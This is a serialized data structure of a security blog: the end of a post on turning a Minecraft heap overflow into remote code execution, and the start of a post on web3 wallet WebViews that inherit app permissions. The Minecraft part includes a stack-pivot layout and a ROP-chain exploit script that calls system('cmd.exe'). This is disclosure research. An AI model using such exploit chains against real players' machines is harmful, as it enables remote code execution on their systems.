+-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[158174],{"type":21,"tag":78,"props":158175,"children":158176},{"__ignoreMap":7},[158177],{"type":26,"value":158172},{"type":21,"tag":22,"props":158179,"children":158180},{},[158181,158183,158188,158190,158195,158197,158202,158204,158209,158211,158216,158218,158223,158225,158230],{"type":26,"value":158182},"The second gadget, ",{"type":21,"tag":78,"props":158184,"children":158186},{"className":158185},[],[158187],{"type":26,"value":158160},{"type":26,"value":158189},", is placed in the slot corresponding to the ",{"type":21,"tag":78,"props":158191,"children":158193},{"className":158192},[],[158194],{"type":26,"value":23434},{"type":26,"value":158196}," function pointer. As mentioned earlier, when ",{"type":21,"tag":78,"props":158198,"children":158200},{"className":158199},[],[158201],{"type":26,"value":157959},{"type":26,"value":158203}," is called, ",{"type":21,"tag":78,"props":158205,"children":158207},{"className":158206},[],[158208],{"type":26,"value":59066},{"type":26,"value":158210}," contains a pointer to ",{"type":21,"tag":78,"props":158212,"children":158214},{"className":158213},[],[158215],{"type":26,"value":157944},{"type":26,"value":158217}," - which we have overwritten and now points to our ",{"type":21,"tag":78,"props":158219,"children":158221},{"className":158220},[],[158222],{"type":26,"value":158153},{"type":26,"value":158224}," gadget in ",{"type":21,"tag":78,"props":158226,"children":158228},{"className":158227},[],[158229],{"type":26,"value":157706},{"type":26,"value":355},{"type":21,"tag":22,"props":158232,"children":158233},{},[158234,158236,158242,158244,158249,158251,158257,158259,158264,158266,158271,158273,158278,158280,158285,158287,158292,158294,158299],{"type":26,"value":158235},"When the call occurs, ",{"type":21,"tag":78,"props":158237,"children":158239},{"className":158238},[],[158240],{"type":26,"value":158241},"xchg rsp, rax",{"type":26,"value":158243}," swaps the stack pointer with this controlled pointer inside ",{"type":21,"tag":78,"props":158245,"children":158247},{"className":158246},[],[158248],{"type":26,"value":157706},{"type":26,"value":158250},", effectively moving ",{"type":21,"tag":78,"props":158252,"children":158254},{"className":158253},[],[158255],{"type":26,"value":158256},"rsp",{"type":26,"value":158258}," into our ROP region. After the ",{"type":21,"tag":78,"props":158260,"children":158262},{"className":158261},[],[158263],{"type":26,"value":13711},{"type":26,"value":158265},", execution continues at ",{"type":21,"tag":78,"props":158267,"children":158269},{"className":158268},[],[158270],{"type":26,"value":158153},{"type":26,"value":158272},", which advances ",{"type":21,"tag":78,"props":158274,"children":158276},{"className":158275},[],[158277],{"type":26,"value":158256},{"type":26,"value":158279}," by ",{"type":21,"tag":78,"props":158281,"children":158283},{"className":158282},[],[158284],{"type":26,"value":4268},{"type":26,"value":158286}," bytes, skipping over the padding and the ",{"type":21,"tag":78,"props":158288,"children":158290},{"className":158289},[],[158291],{"type":26,"value":158160},{"type":26,"value":158293}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":21,"tag":78,"props":158295,"children":158297},{"className":158296},[],[158298],{"type":26,"value":158160},{"type":26,"value":158300},") begins executing.",{"type":21,"tag":114,"props":158302,"children":158304},{"id":158303},"rop-chain",[158305],{"type":26,"value":158306},"ROP Chain",{"type":21,"tag":22,"props":158308,"children":158309},{},[158310,158312,158318,158320,158325],{"type":26,"value":158311},"For the demo, the ROP chain simply calls ",{"type":21,"tag":78,"props":158313,"children":158315},{"className":158314},[],[158316],{"type":26,"value":158317},"system(\"cmd.exe\")",{"type":26,"value":158319},". Because Minecraft does not use ",{"type":21,"tag":78,"props":158321,"children":158323},{"className":158322},[],[158324],{"type":26,"value":134049},{"type":26,"value":158326},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":21,"tag":22,"props":158328,"children":158329},{},[158330,158332,158338,158340,158346,158348,158353,158355,158361,158363,158368],{"type":26,"value":158331},"This is straightforward: the chain first calls ",{"type":21,"tag":78,"props":158333,"children":158335},{"className":158334},[],[158336],{"type":26,"value":158337},"GetModuleHandle(\"ucrtbase.dll\")",{"type":26,"value":158339}," to obtain the base address of ",{"type":21,"tag":78,"props":158341,"children":158343},{"className":158342},[],[158344],{"type":26,"value":158345},"ucrtbase.dll",{"type":26,"value":158347}," (which exports ",{"type":21,"tag":78,"props":158349,"children":158351},{"className":158350},[],[158352],{"type":26,"value":134049},{"type":26,"value":158354},"). It then calls ",{"type":21,"tag":78,"props":158356,"children":158358},{"className":158357},[],[158359],{"type":26,"value":158360},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":26,"value":158362}," to retrieve the function’s address. Finally, it invokes ",{"type":21,"tag":78,"props":158364,"children":158366},{"className":158365},[],[158367],{"type":26,"value":134049},{"type":26,"value":158369}," with the \"cmd.exe\" string.",{"type":21,"tag":22,"props":158371,"children":158372},{},[158373],{"type":26,"value":158374},"In the exploit script, the ROP chain looks something like this:",{"type":21,"tag":143,"props":158376,"children":158378},{"code":158377,"language":22157,"meta":7,"className":22158,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[158379],{"type":21,"tag":78,"props":158380,"children":158381},{"__ignoreMap":7},[158382,158390,158398,158423,158431,158439,158446,158454,158462,158489,158502,158515,158536,158565,158594,158601,158609,158622,158630,158666,158674,158681,158689,158696,158721,158732,158744],{"type":21,"tag":153,"props":158383,"children":158384},{"class":155,"line":156},[158385],{"type":21,"tag":153,"props":158386,"children":158387},{"style":3050},[158388],{"type":26,"value":158389},"# get the address of `GetModuleHandle` to `rax`\n",{"type":21,"tag":153,"props":158391,"children":158392},{"class":155,"line":166},[158393],{"type":21,"tag":153,"props":158394,"children":158395},{"style":160},[158396],{"type":26,"value":158397},"rop.gadget(pop_r8)\n",{"type":21,"tag":153,"props":158399,"children":158400},{"class":155,"line":225},[158401,158406,158410,158415,158419],{"type":21,"tag":153,"props":158402,"children":158403},{"style":160},[158404],{"type":26,"value":158405},"rop.gadget(addr_get_module_handle_a ",{"type":21,"tag":153,"props":158407,"children":158408},{"style":198},[158409],{"type":26,"value":3873},{"type":21,"tag":153,"props":158411,"children":158412},{"style":170},[158413],{"type":26,"value":158414}," 0x",{"type":21,"tag":153,"props":158416,"children":158417},{"style":300},[158418],{"type":26,"value":137166},{"type":21,"tag":153,"props":158420,"children":158421},{"style":160},[158422],{"type":26,"value":5909},{"type":21,"tag":153,"props":158424,"children":158425},{"class":155,"line":239},[158426],{"type":21,"tag":153,"props":158427,"children":158428},{"style":3050},[158429],{"type":26,"value":158430},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":21,"tag":153,"props":158432,"children":158433},{"class":155,"line":382},[158434],{"type":21,"tag":153,"props":158435,"children":158436},{"style":160},[158437],{"type":26,"value":158438},"rop.gadget(mov_rax_r8_28)\n",{"type":21,"tag":153,"props":158440,"children":158441},{"class":155,"line":501},[158442],{"type":21,"tag":153,"props":158443,"children":158444},{"emptyLinePlaceholder":16},[158445],{"type":26,"value":759},{"type":21,"tag":153,"props":158447,"children":158448},{"class":155,"line":533},[158449],{"type":21,"tag":153,"props":158450,"children":158451},{"style":3050},[158452],{"type":26,"value":158453},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":21,"tag":153,"props":158455,"children":158456},{"class":155,"line":542},[158457],{"type":21,"tag":153,"props":158458,"children":158459},{"style":160},[158460],{"type":26,"value":158461},"rop.gadget(pop_rcx)\n",{"type":21,"tag":153,"props":158463,"children":158464},{"class":155,"line":762},[158465,158470,158475,158480,158484],{"type":21,"tag":153,"props":158466,"children":158467},{"style":160},[158468],{"type":26,"value":158469},"rop.gadget(",{"type":21,"tag":153,"props":158471,"children":158472},{"style":170},[158473],{"type":26,"value":158474},"0x",{"type":21,"tag":153,"props":158476,"children":158477},{"style":300},[158478],{"type":26,"value":158479},"7468B68",{"type":21,"tag":153,"props":158481,"children":158482},{"style":160},[158483],{"type":26,"value":2362},{"type":21,"tag":153,"props":158485,"children":158486},{"style":3050},[158487],{"type":26,"value":158488},"# offset of \"ucrtbase.dll\" string\n",{"type":21,"tag":153,"props":158490,"children":158491},{"class":155,"line":776},[158492,158497],{"type":21,"tag":153,"props":158493,"children":158494},{"style":160},[158495],{"type":26,"value":158496},"rop.gadget(ret) ",{"type":21,"tag":153,"props":158498,"children":158499},{"style":3050},[158500],{"type":26,"value":158501},"# movaps alignment\n",{"type":21,"tag":153,"props":158503,"children":158504},{"class":155,"line":795},[158505,158510],{"type":21,"tag":153,"props":158506,"children":158507},{"style":160},[158508],{"type":26,"value":158509},"rop.gadget(push_rax_ret) ",{"type":21,"tag":153,"props":158511,"children":158512},{"style":3050},[158513],{"type":26,"value":158514},"# calls `GetModuleHandle`\n",{"type":21,"tag":153,"props":158516,"children":158517},{"class":155,"line":808},[158518,158523,158527,158532],{"type":21,"tag":153,"props":158519,"children":158520},{"style":160},[158521],{"type":26,"value":158522},"rop.literal(u64(",{"type":21,"tag":153,"props":158524,"children":158525},{"style":170},[158526],{"type":26,"value":5972},{"type":21,"tag":153,"props":158528,"children":158529},{"style":671},[158530],{"type":26,"value":158531},"\"ucrtbase\"",{"type":21,"tag":153,"props":158533,"children":158534},{"style":160},[158535],{"type":26,"value":2006},{"type":21,"tag":153,"props":158537,"children":158538},{"class":155,"line":820},[158539,158543,158547,158552,158557,158561],{"type":21,"tag":153,"props":158540,"children":158541},{"style":160},[158542],{"type":26,"value":158522},{"type":21,"tag":153,"props":158544,"children":158545},{"style":170},[158546],{"type":26,"value":5972},{"type":21,"tag":153,"props":158548,"children":158549},{"style":671},[158550],{"type":26,"value":158551},"\".dll",{"type":21,"tag":153,"props":158553,"children":158554},{"style":50663},[158555],{"type":26,"value":158556},"\\x00\\x00\\x00\\x00",{"type":21,"tag":153,"props":158558,"children":158559},{"style":671},[158560],{"type":26,"value":22756},{"type":21,"tag":153,"props":158562,"children":158563},{"style":160},[158564],{"type":26,"value":2006},{"type":21,"tag":153,"props":158566,"children":158567},{"class":155,"line":842},[158568,158572,158576,158581,158586,158590],{"type":21,"tag":153,"props":158569,"children":158570},{"style":160},[158571],{"type":26,"value":158522},{"type":21,"tag":153,"props":158573,"children":158574},{"style":170},[158575],{"type":26,"value":5972},{"type":21,"tag":153,"props":158577,"children":158578},{"style":671},[158579],{"type":26,"value":158580},"\"system",{"type":21,"tag":153,"props":158582,"children":158583},{"style":50663},[158584],{"type":26,"value":158585},"\\x00\\x00",{"type":21,"tag":153,"props":158587,"children":158588},{"style":671},[158589],{"type":26,"value":22756},{"type":21,"tag":153,"props":158591,"children":158592},{"style":160},[158593],{"type":26,"value":2006},{"type":21,"tag":153,"props":158595,"children":158596},{"class":155,"line":3204},[158597],{"type":21,"tag":153,"props":158598,"children":158599},{"emptyLinePlaceholder":16},[158600],{"type":26,"value":759},{"type":21,"tag":153,"props":158602,"children":158603},{"class":155,"line":3230},[158604],{"type":21,"tag":153,"props":158605,"children":158606},{"style":3050},[158607],{"type":26,"value":158608},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":21,"tag":153,"props":158610,"children":158611},{"class":155,"line":3239},[158612,158617],{"type":21,"tag":153,"props":158613,"children":158614},{"style":160},[158615],{"type":26,"value":158616},"rop.gadget(xchg_rcx_rax) ",{"type":21,"tag":153,"props":158618,"children":158619},{"style":3050},[158620],{"type":26,"value":158621},"# move the return value of `GetModuleHandle` to rcx\n",{"type":21,"tag":153,"props":158623,"children":158624},{"class":155,"line":3253},[158625],{"type":21,"tag":153,"props":158626,"children":158627},{"style":160},[158628],{"type":26,"value":158629},"rop.gadget(pop_rdx)\n",{"type":21,"tag":153,"props":158631,"children":158632},{"class":155,"line":3301},[158633,158637,158641,158645,158649,158653,158657,158661],{"type":21,"tag":153,"props":158634,"children":158635},{"style":160},[158636],{"type":26,"value":158469},{"type":21,"tag":153,"props":158638,"children":158639},{"style":170},[158640],{"type":26,"value":158474},{"type":21,"tag":153,"props":158642,"children":158643},{"style":300},[158644],{"type":26,"value":158479},{"type":21,"tag":153,"props":158646,"children":158647},{"style":198},[158648],{"type":26,"value":5527},{"type":21,"tag":153,"props":158650,"children":158651},{"style":170},[158652],{"type":26,"value":158414},{"type":21,"tag":153,"props":158654,"children":158655},{"style":300},[158656],{"type":26,"value":91550},{"type":21,"tag":153,"props":158658,"children":158659},{"style":160},[158660],{"type":26,"value":2362},{"type":21,"tag":153,"props":158662,"children":158663},{"style":3050},[158664],{"type":26,"value":158665},"# offset of \"system\" string\n",{"type":21,"tag":153,"props":158667,"children":158668},{"class":155,"line":3346},[158669],{"type":21,"tag":153,"props":158670,"children":158671},{"style":160},[158672],{"type":26,"value":158673},"rop.gadget(get_proc_addr)\n",{"type":21,"tag":153,"props":158675,"children":158676},{"class":155,"line":3355},[158677],{"type":21,"tag":153,"props":158678,"children":158679},{"emptyLinePlaceholder":16},[158680],{"type":26,"value":759},{"type":21,"tag":153,"props":158682,"children":158683},{"class":155,"line":3364},[158684],{"type":21,"tag":153,"props":158685,"children":158686},{"style":3050},[158687],{"type":26,"value":158688},"# call `system(\"cmd.exe\")`\n",{"type":21,"tag":153,"props":158690,"children":158691},{"class":155,"line":3376},[158692],{"type":21,"tag":153,"props":158693,"children":158694},{"style":160},[158695],{"type":26,"value":158461},{"type":21,"tag":153,"props":158697,"children":158698},{"class":155,"line":3393},[158699,158703,158707,158712,158716],{"type":21,"tag":153,"props":158700,"children":158701},{"style":160},[158702],{"type":26,"value":158469},{"type":21,"tag":153,"props":158704,"children":158705},{"style":170},[158706],{"type":26,"value":158474},{"type":21,"tag":153,"props":158708,"children":158709},{"style":300},[158710],{"type":26,"value":158711},"7468DB8",{"type":21,"tag":153,"props":158713,"children":158714},{"style":160},[158715],{"type":26,"value":2362},{"type":21,"tag":153,"props":158717,"children":158718},{"style":3050},[158719],{"type":26,"value":158720},"# offset of \"cmd.exe\" string\n",{"type":21,"tag":153,"props":158722,"children":158723},{"class":155,"line":3405},[158724,158728],{"type":21,"tag":153,"props":158725,"children":158726},{"style":160},[158727],{"type":26,"value":158496},{"type":21,"tag":153,"props":158729,"children":158730},{"style":3050},[158731],{"type":26,"value":158501},{"type":21,"tag":153,"props":158733,"children":158734},{"class":155,"line":3427},[158735,158739],{"type":21,"tag":153,"props":158736,"children":158737},{"style":160},[158738],{"type":26,"value":158509},{"type":21,"tag":153,"props":158740,"children":158741},{"style":3050},[158742],{"type":26,"value":158743},"# calls `system`\n",{"type":21,"tag":153,"props":158745,"children":158746},{"class":155,"line":3448},[158747,158751,158755,158760,158765,158769],{"type":21,"tag":153,"props":158748,"children":158749},{"style":160},[158750],{"type":26,"value":158522},{"type":21,"tag":153,"props":158752,"children":158753},{"style":170},[158754],{"type":26,"value":5972},{"type":21,"tag":153,"props":158756,"children":158757},{"style":671},[158758],{"type":26,"value":158759},"\"cmd.exe",{"type":21,"tag":153,"props":158761,"children":158762},{"style":50663},[158763],{"type":26,"value":158764},"\\x00",{"type":21,"tag":153,"props":158766,"children":158767},{"style":671},[158768],{"type":26,"value":22756},{"type":21,"tag":153,"props":158770,"children":158771},{"style":160},[158772],{"type":26,"value":2006},{"type":21,"tag":114,"props":158774,"children":158776},{"id":158775},"demo",[158777],{"type":26,"value":158778},"Demo",{"type":21,"tag":22,"props":158780,"children":158781},{},[158782],{"type":26,"value":158783},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":21,"tag":134155,"props":158785,"children":158788},{"className":158786,"controls":16},[144122,158787],"blog-video-wide",[158789,158790,158794],{"type":26,"value":144125},{"type":21,"tag":143361,"props":158791,"children":158793},{"src":158792,"type":134153},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":26,"value":144131},{"type":21,"tag":66,"props":158796,"children":158797},{"id":5568},[158798],{"type":26,"value":5571},{"type":21,"tag":22,"props":158800,"children":158801},{},[158802],{"type":26,"value":158803},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":21,"tag":22,"props":158805,"children":158806},{},[158807],{"type":26,"value":158808},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":21,"tag":22,"props":158810,"children":158811},{},[158812],{"type":26,"value":158813},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":21,"tag":5603,"props":158815,"children":158816},{},[158817],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":158819},[158820,158824,158829,158840],{"id":149480,"depth":166,"text":149483,"children":158821},[158822,158823],{"id":149515,"depth":225,"text":149518},{"id":149531,"depth":225,"text":149534},{"id":149552,"depth":166,"text":149555,"children":158825},[158826,158827,158828],{"id":149568,"depth":225,"text":149571},{"id":149656,"depth":225,"text":149659},{"id":151956,"depth":225,"text":151959},{"id":8150,"depth":166,"text":8153,"children":158830},[158831,158832,158833,158834,158835,158836,158837,158838,158839],{"id":152063,"depth":225,"text":152066},{"id":152088,"depth":225,"text":152091},{"id":152225,"depth":225,"text":152228},{"id":154389,"depth":225,"text":154392},{"id":154751,"depth":225,"text":154754},{"id":155571,"depth":225,"text":155574},{"id":157685,"depth":225,"text":157688},{"id":158303,"depth":225,"text":158306},{"id":158775,"depth":225,"text":158778},{"id":5568,"depth":166,"text":5571},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":158845,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158846,"description":158847,"date":158848,"author":158849,"image":158851,"isFeatured":16,"onBlogPage":16,"tags":158853,"body":158855,"_type":5619,"_id":161178,"_source":5621,"_file":161179,"_stem":161180,"_extension":5624},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[33896,33895,158850],"nikolaos",{"src":158852,"width":99565,"height":16340},"/posts/insecure-webview-integrations/title.png",[34834,134261,158854],"webview",{"type":18,"children":158856,"toc":161165},[158857,158862,158867,158873,158878,158883,158888,158894,158899,158905,158927,158940,158960,158974,158980,158994,159002,159007,159013,159018,159027,159048,159192,159197,159203,159208,159213,159227,159231,159236,159254,160682,160686,160691,160703,160712,160717,160723,160745,160753,160758,160764,160769,160787,160792,160798,160811,161093,161121,161134,161139,161152,161156,161161],{"type":21,"tag":22,"props":158858,"children":158859},{},[158860],{"type":26,"value":158861},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":21,"tag":22,"props":158863,"children":158864},{},[158865],{"type":26,"value":158866},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":21,"tag":38066,"props":158868,"children":158870},{"id":158869},"exploiting-mobile-webviews",[158871],{"type":26,"value":158872},"Exploiting Mobile WebViews",{"type":21,"tag":22,"props":158874,"children":158875},{},[158876],{"type":26,"value":158877},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":21,"tag":22,"props":158879,"children":158880},{},[158881],{"type":26,"value":158882},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":21,"tag":22,"props":158884,"children":158885},{},[158886],{"type":26,"value":158887},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":21,"tag":66,"props":158889,"children":158891},{"id":158890},"handling-webview-permissions",[158892],{"type":26,"value":158893},"Handling WebView permissions",{"type":21,"tag":22,"props":158895,"children":158896},{},[158897],{"type":26,"value":158898},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":21,"tag":114,"props":158900,"children":158902},{"id":158901},"android",[158903],{"type":26,"value":158904},"Android",{"type":21,"tag":22,"props":158906,"children":158907},{},[158908,158910,158917,158919,158925],{"type":26,"value":158909},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":21,"tag":29,"props":158911,"children":158914},{"href":158912,"rel":158913},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[33],[158915],{"type":26,"value":158916},"onPermissionRequest",{"type":26,"value":158918},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":21,"tag":78,"props":158920,"children":158922},{"className":158921},[],[158923],{"type":26,"value":158924},"PermissionRequest",{"type":26,"value":158926}," object where the WebView developers must decide whether to grant or deny it.",{"type":21,"tag":5689,"props":158928,"children":158929},{},[158930],{"type":21,"tag":22,"props":158931,"children":158932},{},[158933,158935,158938],{"type":26,"value":158934},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":21,"tag":153,"props":158936,"children":158937},{},[],{"type":26,"value":158939},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":21,"tag":22,"props":158941,"children":158942},{},[158943,158945,158951,158953,158959],{"type":26,"value":158944},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":21,"tag":78,"props":158946,"children":158948},{"className":158947},[],[158949],{"type":26,"value":158950},"getOrigin()",{"type":26,"value":158952}," and the requested permissions with ",{"type":21,"tag":78,"props":158954,"children":158956},{"className":158955},[],[158957],{"type":26,"value":158958},"getResources()",{"type":26,"value":355},{"type":21,"tag":22,"props":158961,"children":158962},{},[158963,158965,158972],{"type":26,"value":158964},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":21,"tag":29,"props":158966,"children":158969},{"href":158967,"rel":158968},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[33],[158970],{"type":26,"value":158971},"webview_shell",{"type":26,"value":158973},". In this instance, no origin checks are performed.",{"type":21,"tag":114,"props":158975,"children":158977},{"id":158976},"ios",[158978],{"type":26,"value":158979},"iOS",{"type":21,"tag":22,"props":158981,"children":158982},{},[158983,158985,158992],{"type":26,"value":158984},"On the contrary, iOS ",{"type":21,"tag":29,"props":158986,"children":158989},{"href":158987,"rel":158988},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[33],[158990],{"type":26,"value":158991},"documentation",{"type":26,"value":158993}," states that:",{"type":21,"tag":5689,"props":158995,"children":158996},{},[158997],{"type":21,"tag":22,"props":158998,"children":158999},{},[159000],{"type":26,"value":159001},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":21,"tag":22,"props":159003,"children":159004},{},[159005],{"type":26,"value":159006},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":21,"tag":66,"props":159008,"children":159010},{"id":159009},"the-shortcomings-of-webview-implementations",[159011],{"type":26,"value":159012},"The shortcomings of WebView implementations",{"type":21,"tag":22,"props":159014,"children":159015},{},[159016],{"type":26,"value":159017},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":21,"tag":34041,"props":159019,"children":159020},{"style":34043},[159021],{"type":21,"tag":3644,"props":159022,"children":159026},{"src":159023,"alt":159024,"style":159025},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":21,"tag":22,"props":159028,"children":159029},{},[159030,159032,159038,159040,159046],{"type":26,"value":159031},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":21,"tag":78,"props":159033,"children":159035},{"className":159034},[],[159036],{"type":26,"value":159037},"react-native-webview",{"type":26,"value":159039},". If we take a look at how they handle a request that reaches the ",{"type":21,"tag":29,"props":159041,"children":159044},{"href":159042,"rel":159043},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[33],[159045],{"type":26,"value":158916},{"type":26,"value":159047}," method, we see a similar pattern.",{"type":21,"tag":143,"props":159049,"children":159053},{"className":159050,"code":159051,"language":159052,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[159054],{"type":21,"tag":78,"props":159055,"children":159056},{"__ignoreMap":7},[159057,159065,159094,159154,159174,159185],{"type":21,"tag":153,"props":159058,"children":159059},{"class":155,"line":156},[159060],{"type":21,"tag":153,"props":159061,"children":159062},{"style":3050},[159063],{"type":26,"value":159064},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":21,"tag":153,"props":159066,"children":159067},{"class":155,"line":166},[159068,159072,159076,159081,159085,159090],{"type":21,"tag":153,"props":159069,"children":159070},{"style":1751},[159071],{"type":26,"value":2338},{"type":21,"tag":153,"props":159073,"children":159074},{"style":160},[159075],{"type":26,"value":5820},{"type":21,"tag":153,"props":159077,"children":159078},{"style":192},[159079],{"type":26,"value":159080},"requestedAndroidPermissions",{"type":21,"tag":153,"props":159082,"children":159083},{"style":160},[159084],{"type":26,"value":355},{"type":21,"tag":153,"props":159086,"children":159087},{"style":181},[159088],{"type":26,"value":159089},"isEmpty",{"type":21,"tag":153,"props":159091,"children":159092},{"style":160},[159093],{"type":26,"value":94318},{"type":21,"tag":153,"props":159095,"children":159096},{"class":155,"line":225},[159097,159102,159106,159111,159115,159120,159124,159129,159133,159137,159142,159146,159150],{"type":21,"tag":153,"props":159098,"children":159099},{"style":192},[159100],{"type":26,"value":159101},"    request",{"type":21,"tag":153,"props":159103,"children":159104},{"style":160},[159105],{"type":26,"value":355},{"type":21,"tag":153,"props":159107,"children":159108},{"style":181},[159109],{"type":26,"value":159110},"grant",{"type":21,"tag":153,"props":159112,"children":159113},{"style":160},[159114],{"type":26,"value":189},{"type":21,"tag":153,"props":159116,"children":159117},{"style":192},[159118],{"type":26,"value":159119},"grantedPermissions",{"type":21,"tag":153,"props":159121,"children":159122},{"style":160},[159123],{"type":26,"value":355},{"type":21,"tag":153,"props":159125,"children":159126},{"style":181},[159127],{"type":26,"value":159128},"toArray",{"type":21,"tag":153,"props":159130,"children":159131},{"style":160},[159132],{"type":26,"value":189},{"type":21,"tag":153,"props":159134,"children":159135},{"style":1751},[159136],{"type":26,"value":1804},{"type":21,"tag":153,"props":159138,"children":159139},{"style":214},[159140],{"type":26,"value":159141}," String",{"type":21,"tag":153,"props":159143,"children":159144},{"style":160},[159145],{"type":26,"value":211},{"type":21,"tag":153,"props":159147,"children":159148},{"style":300},[159149],{"type":26,"value":2996},{"type":21,"tag":153,"props":159151,"children":159152},{"style":160},[159153],{"type":26,"value":105809},{"type":21,"tag":153,"props":159155,"children":159156},{"class":155,"line":239},[159157,159162,159166,159170],{"type":21,"tag":153,"props":159158,"children":159159},{"style":160},[159160],{"type":26,"value":159161},"    grantedPermissions ",{"type":21,"tag":153,"props":159163,"children":159164},{"style":198},[159165],{"type":26,"value":2367},{"type":21,"tag":153,"props":159167,"children":159168},{"style":170},[159169],{"type":26,"value":72564},{"type":21,"tag":153,"props":159171,"children":159172},{"style":160},[159173],{"type":26,"value":1759},{"type":21,"tag":153,"props":159175,"children":159176},{"class":155,"line":382},[159177,159181],{"type":21,"tag":153,"props":159178,"children":159179},{"style":1751},[159180],{"type":26,"value":19687},{"type":21,"tag":153,"props":159182,"children":159183},{"style":160},[159184],{"type":26,"value":1759},{"type":21,"tag":153,"props":159186,"children":159187},{"class":155,"line":501},[159188],{"type":21,"tag":153,"props":159189,"children":159190},{"style":160},[159191],{"type":26,"value":548},{"type":21,"tag":22,"props":159193,"children":159194},{},[159195],{"type":26,"value":159196},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight 